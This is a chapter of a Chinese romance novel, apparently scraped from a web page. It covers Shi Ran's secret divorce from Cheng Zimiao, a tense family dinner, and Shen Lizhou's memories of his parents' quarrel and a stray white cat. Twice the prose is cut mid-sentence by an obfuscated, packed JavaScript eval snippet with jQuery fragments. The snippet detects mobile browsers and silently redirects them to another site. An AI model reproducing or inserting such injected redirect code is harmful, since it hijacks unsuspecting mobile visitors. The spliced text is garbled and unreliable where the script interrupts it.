路灯的光穿过雨幕落在他身上,把他的轮廓晕成一团模糊的光影,那光影慢慢融入大雨之中,他好像也要幻化成一滴无知无觉的雨,消失在这片无边无际的夜色里。
施然突然毫无来由地感到心悸。
她按下车窗,冷风和细密的雨丝一起涌进来,扑在她脸上。
“沈礼周。”
男人空茫的视线聚焦在她脸上,前额的发被打湿,衬得皮肤愈加冷白,眼睫上也挂着细碎的水珠,眨了一下,又眨一下,看起来有几分无辜:“……嗯?”
“我想在生生庄园附近开家动物诊所。”她问,“不知道你对这边熟吗?”
雨还在下,打在伞面上发出沙沙的声响。
他望着她,然后点点头。
胸口那种莫名其妙的不安感落下一些,施然道:“那我们有空再约。”她又补充,“叫上乐为一起吧?如果他不忙的话。”
逆着光,施然看不清他的表情,于是又催促:“嗯?”
风大雨大,也快要浸湿她的额发,沈礼周道了声“好”。
车窗被程子淼升起来,车轮碾过积水的路面。
路灯一盏一盏地往后退,昏黄的光掠过施然的脸,明明灭灭。
窗外的世界被雨水泡得模糊,像很久远的记忆。
施然靠在车窗上,指尖划过玻璃上蜿蜒的水痕。
她突然怀念起她无忧无虑的童年。
-
小小的男孩坐在窗前,指尖划过玻璃上蜿蜒的水痕。
“礼周,”父亲的声音在他身后响起,是久违的喜悦平和,“快来看看,这是你的弟弟,乐为。”
弟弟。
好陌生的词汇。沈礼周从椅子上滑下来,走过去小心地望,摇篮里的人软软的,小小的,睁着一双黑葡萄似的圆眼睛,咿咿呀呀地盯着他……好陌生的小孩。
他伸出手,弟弟也伸出手,抓住了他的手指——他有些惊奇地抽气,吸引了母亲的注意。
“不要动他!”她有些尖锐地喊了一声。
父亲也压低声音,吼了句母亲的名字:“晚箐!”
沈礼周身体僵住,意识到糟了。
这样的音调一出来,母亲和父亲肯定又要有一场天翻地覆的争吵。
他也不明白,原来幸福美满的家,为什么会突然分崩离析。
也就是大概一两年前的事情,父母出去参加一场聚会,回来后母亲便摔碎了家里所有能摔的东西,这个家也变成了一个随时会爆炸的火药桶。
任何事情,无论大小,都有可能会引爆所有人的神经。
但奇异地,这次,预想中的争吵没有降临。
母亲和父亲都没有说话,然后摇篮里的婴儿咿咿呀呀地笑起来,打破了客厅里令人窒息的沉默。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536637|203274||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
礼周,”母亲克制的、温和的声音响起,她脸色苍白地道,“你去超市帮妈妈买点东西吧。”
沈礼周出门才发现自己忘记带伞。
拐上楼时,听到父母的争吵声,如雨水般从门缝中泄出来。
“你求婚时,我已经明确地告诉你。”母亲的声音,微微地发着颤音,“我有家族遗传的精神病史,我不会生孩子。你说你不在乎,你说我们一起领养一个也可以……”
“能不能不要反反复复地旧事重提?”父亲的声音闷闷的,“我们去领养,申请那么多次都失败了,你要我怎么办?”
“所以你就可以堂而皇之地和别的女人生孩子,还骗我是领养回来的孩子?”母亲抽泣起来,“我现在看到他,我就想到那些年……我教他画画,给他讲故事,我真心实意地养他,爱他,结果他竟然是你和别人的野种……你知不知道我现在看他一眼,都觉得恶心……我想要属于我的孩子,流着我的血的孩子……”
“好了,好了。我也想要真正属于我们的孩子。”父亲低声道,“现在我们不是已经有乐为了吗?医生说他很健康,我们很幸运,未来的日子,咱们好好过……”
沈礼周没再继续听下去。
耳边是巨大的轰鸣,胸腔如被撕裂般疼痛,大脑一片空白。世界忽然变得很远,声音、光线、空气,都像隔了一层厚厚的玻璃。
他不知道自己是怎么走入那场雨中。
雨下得好大,像天在哭泣。
雨水顺着他的发梢往下淌,流过额、眉、眼睛,湿透的校服贴在身上,沉得像另一层身体。
他漫无目的地向前走着,走着,然后听到了小猫的叫声,像哭泣似的,细细地钻进他耳朵里。
“喵——”
沈礼周的脚步顿了顿,循声音低下头。
脚边缠着一只小小的白猫。
它浑身也湿透了,毛打了绺,瑟瑟发抖,显得瘦骨嶙峋。那双湿漉漉的眼睛里,倒映着他同样湿漉漉的眼睛。
沈礼周慢慢蹲下来。
他看到白猫的耳朵缺了一小块,边缘结着暗色的血痂,有一只前爪的肉垫好像也破了,沾着泥和血,只能轻轻抬着,不敢落地。
在流浪猫的世界里,白猫永远是最不被喜欢的那一个。纯白色的毛在黑夜里藏不住,草丛里躲不住,被其他流浪猫认为是丑陋无用的,是被抛弃的、多余的、格格不入的存在。
他很想为它挡一挡雨,但他自己也没有伞。
他也是被抛弃的、多余的、格格不入的存在。
沈礼周伸出手,指尖揉在小白猫头顶,它满足地仰起头,闭上了眼睛。
头顶的雨忽然停了。
一片粉色的阴影落下来,罩在他和小猫头顶,伞面上印满了卡通的kitty猫图案。
女孩的声音响起,清脆,甜美,新奇:“你好招小猫喜欢。”
她歪头望那小白猫:“这只小白猫,刚吃掉我三根火腿肠,都没让我摸到一下!”边说,边伸手去摸。
动静太大,小白猫一眨眼的工夫便溜走了,沈礼周站起身来。
小女孩跟着把伞举得高高。她这时才看清他的模样:“哇,你怎么不带伞,淋成这样。”紧接着又看到他的校服,多了几分艳羡:“你是莲市一小的学生吗?”
沈礼周不说话,小女孩撇撇嘴:“妈妈不让我去上学……你们上学是怎么上的呀?每天也要练十个小时钢琴吗?”
沈礼周还是不说话。她眨眨眼睛,定定看了他几秒,问:“你心情不好?”
“别不开心啦。我给你看看我的绝技。”然后她旋转起手中粉色的小猫伞,雨点肆意地飞了出去,她笑起来,“看。天女散花——”
9.今天
很久没有回国,程子淼开的车还是结婚前买的那辆。
施然一抬眼,看到车前挂着两人很早以前一起挑选的毛绒公仔。一左一右,奶白英短和橘色柴犬,正是当年爆火前的初代“生万物”系列盲盒。
那时候的“生万物”还是个小众设计师品牌,只在市中心的文创集市有个小摊位,施然拉着程子淼排了两个小时的队,才抢到一个盲盒,结果一发即中,竟然抽到隐藏。
她当时欢呼雀跃,程子淼则一脸嫌弃,说一个破毛绒玩具也值得排那么久的队。她才不搭理他,只说他不识货,然后自顾自地挂在了车上。
到现在也没有人摘掉。
谁也没想到,后来“生万物”一夜爆火,从潮玩跨界到首饰、服装、家居,短短几年成了现象级的国民品牌。
初代未拆封的基础款被炒到三千多一个,成套的更是有价无市。去年陈安可想收一个送她当生日礼物,找了半个圈子都没找到成色好的。
雨刷在挡风玻璃上一下一下地摆,发出单调的、令人昏沉的声响。程子淼懒声道:“你和你新男朋友说话挺客气啊。”
“是吗,”施然也一副漫不经心的模样,“可能是在你面前客气下。”
“呵。”程子淼冷笑一声,道,“离婚协议书都签了,还用得着在我面前装吗?这才几个月就发展新恋情,还是和曾经的高中同学,真不知道施小姐是喜新还是念旧。”
施然想说你这几个月也没闲着,又想说你就不喜新不念旧吗,刚回国就找了林芋嘉……但她从来不是会去自降身份的人。说出这些话,就代表在意,施然不喜欢自己在意。
她之前也想过,程子淼说出这些话,是不是代表程子淼在意她?但后来又觉得也不一定,因为程子淼天生就是夹枪带棒的人,或许他只在乎自己的自尊而已。
于是她道:“随便吧。离都离了。”
程子淼握着方向盘的指节泛起白。
两人都不再说话。
-
车子缓缓驶入别墅区。
雨已经停了,路面湿漉漉的,施然和程子淼一前一后走进家门。
客厅灯火通明,父母们坐在沙发上聊天,茶几上摆着茶具、水果,和几份摊开的文件。
“回来了?”程子淼的母亲张国英先抬起头,笑着朝他们招手,“快来坐,就等你们俩了。”
她将施然拉到身边,捏捏她的小臂,叹:“然然怎么感觉又瘦了。”又白程子淼一眼,道,“还是你照顾不周。”
施然张了张嘴,还没说话,程子淼便极为自然地接上:“我就没瘦吗?”
“谁关心你瘦没瘦。”张国英没理他,将桌上的文件一收,道,“好了,开饭吧!”
张国英是施然很喜欢的那种女人。是施然小时候幻想自己会成为的那种成熟女人。
是能够让年轻女孩子们想到她,就会觉得衰老也没那么可怕,甚至值得期待的那种女人。
她和施然的妈妈孟黛是发小,闺蜜,两人都是优渥的世家出身。
那时孟黛弹钢琴,她学画画,但孟黛后来弹出了名堂,在国际项目上拿奖,成了瞩目的钢琴家;她则很快就放弃艺术追求,主动与程父联姻,投入到商业帝国中,开创了国内高端新能源汽车品牌。
许是年少时的美术修养原因,张国英对汽车的设计美学有着近乎偏执的追求,这也是他们品牌的灵魂。
只是再惊艳的设计,也需要最顶级的材料来实现轻量化和高强度,而施然父亲的公司是许多顶级制造企业无法替代的供应商,手中握有原材料的核心专利和独有工艺,也掌握了他们的核心命脉。
两个孩子能走到一起,是双方家长都喜闻乐见的事情。
而要在这个其乐融融的餐桌上说明他们如今离婚的事实,非常需要能够面对一切后果的勇气。
一道道的精致菜肴摆上桌,清汤牛腩、松露烩饭、蟹粉豆腐……最后上来一个小煲,端在施然面前,张国英将盖子掀开,滚热鲜甜,是她小时候最喜欢的虾蟹粥。
“然然小时候的最爱。没错吧?”张国英笑眯眯,“当年的小摊位现在变私厨了,阿姨回来说排了三个小时的队,也不知道味道变没变,快趁热尝尝。”
施然一怔。
她已经尝过了……在沈礼周的车上。
还是当年的味道。
要排那么久的队吗?
他怎么那么快买到的?
“谢谢妈妈。”施然下意识地回答,没有改口,程子淼飞快地瞥她一眼,又若无其事地收回,和施父聊了起来。
“你看看这个。”施良材将平板推到程子淼面前,“新材料的动态测试报告,结论是好的,但预测模型还是有偏离。你们这边的结构团队也可以跑一遍。”
“好的,爸。”程子淼接过平板,指尖在屏幕上滑动,专注地望着那些密密麻麻的表格和数据,末了,道,“可能是测试夹具在长时间加载后产生了微变形……这个数据拐点是跳变。如果是材料失效,曲线应该是平滑下降的。”
“嗯,”施良材的眼神有很浅的赞许,他道,“让结构团队出个夹具的刚度分析报告,我这边再补一轮测试,两个结果对一下。”
“好。”程子淼应得干脆,“我明天一早让他们把测试标准同步给您的实验室。另外,新车型的用材比例也做了三个方案,下周一拿来给您看。”
“那些你自己把握就好。”施良材道,“听说预订单已经破了三万?”
程子淼笑道:“这周应该能破五万。”
施良才拍拍他的肩膀,又和张国英道:“你们家子淼,真是越来越有大将之风了。”
张国英弯了弯唇角:“主要还是亲家这边的材料底子好,我们的设计才能落地。子淼这孩子就是运气好,碰上这么好的岳父岳母,什么都愿意教他。”
“哪里哪里,”施良材笑着摆手,“是子淼自己争气。我们这代人迟早要退的,以后是他们年轻人的天下。”
孟黛呷一口茶,温声道:“也别太拼了,子淼。身体是革/命的本钱。”
“谢谢妈妈。”程子淼笑笑,目光这才从平板上挪开,拿起筷。
吃饭时间讨论工作是两家人的习惯。
从施然记事起,家里的饭桌就很少有真正安静的时候。不是施良材在接电话,就是张国英在和程父对某个项目的进度。有时候聊着聊着,筷子就放下了,有人去书房拿文件,有人掏出手机翻邮件,碗里的汤凉了又热、热了又凉。
没有人觉得这有什么不对。
在他们看来,吃饭只是形式,谈事情才是正经事。一顿饭能吃出几千万的合同,比什么山珍海味都值。
小时候施然不懂这些。
她只记得大人一聊起工作,她和程子淼就被打发到一边去玩。有时候是在客厅拼乐高,有时候是在花园里追猫逗狗,更多的时候,两个人窝在琴房里瞎弹。她弹肖邦,他弹李斯特,弹累了就四手联弹一些乱七八糟的曲子,弹错的地方两个人就互相指责,打打闹闹,然后一起笑倒在琴凳上。
那时候程子淼的钢琴甚至弹得比她好。
他的手比她大,跨度比她宽,同样的曲子他练三天就能拿下,她要练一个星期。钢琴老师说他很有灵气,是适合吃这碗饭的人。
但后来不知道为什么,程子淼不再弹钢琴了。
先是练琴的时间越来越少,后来干脆连琴房都不去了。施然有次去他家找他,问他为什么不弹了,他只是靠在门框上,用那种熟悉的、漫不经心的语调道:“弹钢琴没意思。我想学做生意。”
他做什么事情都三分钟热度,钢琴算是坚持最久的了。
施然只觉得可惜,并不觉得奇怪。因为后来程子淼的生意确实做得也很好。
有声有色,蒸蒸日上,国内市占率一年比一年猛,海外市场也撕开了口子,两边的家长都在慢慢地放权给他。
他会穿着剪裁利落的西装,坐在会议桌的主位,和供应商谈判,和股东汇报,和海外合作伙伴用各种流利的外文讨论技术细节。
他的日程表精确到分钟,电话永远响个不停,名字开始出现在行业峰会的嘉宾名单上。
他是无坚不摧的,是百战百胜的。
他拥有广阔无垠的世界,和五彩斑斓的未来。
而那蓝图之中有没有她,其实根本没什么所谓,施然这样想。
饭局接近尾声,她放下了筷子。
“爸爸,妈妈,”施然声音很轻,但很清晰,“我想和大家说一件事。”
她的语气太过于郑重其事,餐厅很快安静下来。
所有人的目光
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538870|203274||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都聚焦在她身上,张国英看着施然紧绷的侧脸,一颗心莫名其妙地悬了起来,有种不太好的预感。
施然深深吸一口气。
“我们离婚了”这五个字就在嘴边,却被程子淼抢了先。
“我们想在国内稳定下来。”他说,语气平稳笃定,“现在关税、物流、供应链……每一环都在涨。国内如今市场大,政策也好,回国发展是必然的趋势,只是……”他看起来有些愧疚,“只是妈今年刚做了心脏支架手术,主治医生团队都在国外……”
……心脏支架手术?
谁做了心脏支架手术?
施然茫然地望,然后听见孟黛的声音:“那有什么。我和你爸天天在各国闲游,也不是就一直定居在那里。”
“是啊,”施良才笑道,“现在交通这么发达,想见面很简单,我们还没老到走不动道,不用考虑我们的。”
大家和乐融融地聊起来,将此事轻飘飘地揭过,好像“安支架”是一件再普通不过、全家人都知道的事情。
只有她不知道。
只有她不知道!
施然猛地站起身,往外走去。
程子淼跟着起了身。
她的步伐急而冲,他不疾不徐地跟在她身后,保持着一米左右的距离。
走到花园的僻静之处,她站定了脚步,转过身望他。
冷白色的月光落在他脸上,把他那英俊的眉眼映得很清晰,很冷静。
“程子淼。”她尽量平静地问,“为什么我不知道我妈装心脏支架的事情?”
“你那时在别的国家交流学习。我说你出去玩了,她要我别告诉你。”
“她要你别告诉我你就不告诉我?你明明知道我最讨厌别人骗我!”
“那你想我怎么做?”程子淼好整以暇地站在原地,语气平淡,“你不要我告诉他们你去做兽医,我不是也没告诉他们吗?”
她声音有些发颤:“这是一回事吗?”
“……好了,你知道又能怎么样呢?”程子淼移开目光,低声道,“我们也是怕你责怪自己。”
怎么能不责怪自己呢?
施然从小到大都不知道她妈妈患心脏病的事情。
她那时年轻气盛,决定不弹钢琴,又反复沟通无用后选择了极为决绝的方式。
在母亲最期待的国际音乐大赛上崭露头角,弹奏出几近完美的曲子,然后在现场直播时,面向所有镜头笑着,说了让全场媒体都震惊的话。
她说她今天拿这个奖,只是为了和它做一个告别。
她说从今天起,她不会再以职业钢琴家的身份演奏任何一部作品。
采访结束后听说她妈妈犯了心脏病被救护车拉走,而父亲的怒吼声响彻整个医院。家里费尽心力才将这采访压了下来,那段反叛的时光给孟黛落下了病根,也成为了施然人生的黑暗记忆。
想到都会心悸,会后怕,会担心自己的一时任性换来无法挽回的结局。
“现在妈的身体已经好很多了,但离婚的事情,也没有必要告诉他们。”程子淼垂眸望着他们的影子,两个影子在花丛中交叠,看起来很亲密。
他语气平淡,像在说无关紧要的天气:“……维持现在这样,不是挺方便的吗?”
反正法院之前寄来的调解函他也根本没有签收。
早上林芋嘉打来电话询问,他说他近期都会在国内处理公务,没空。
对方说法院那边会做公告送达,60天后会默认调解期结束,离婚判决生效……他“嗯”了一声说随便,就挂了电话。
60天毕竟很长。
足够他们像以前每一次吵架一样,先互相转身走开,再慢慢地接近,拥抱。
程子淼缓缓抬起一双眼睛,望向面前那熟悉而陌生的爱人。
施然有些犹疑。
可以吗?
维持现在这样……不耽误程子淼另寻新欢吗?
她久未回复,那犹豫被程子淼看在眼里,解读出了其他含义。他冷嗤一声,道:“怎么,还怕你那个假男朋友吃醋吗?”
假男朋友?
夜风席卷而来,树叶沙沙作响,施然还未来得及咬文嚼字,已听到程子淼恶劣的语气:“还叫上乐为一起?沈乐为已经死了,他有精神病,你连这都不知道吗?”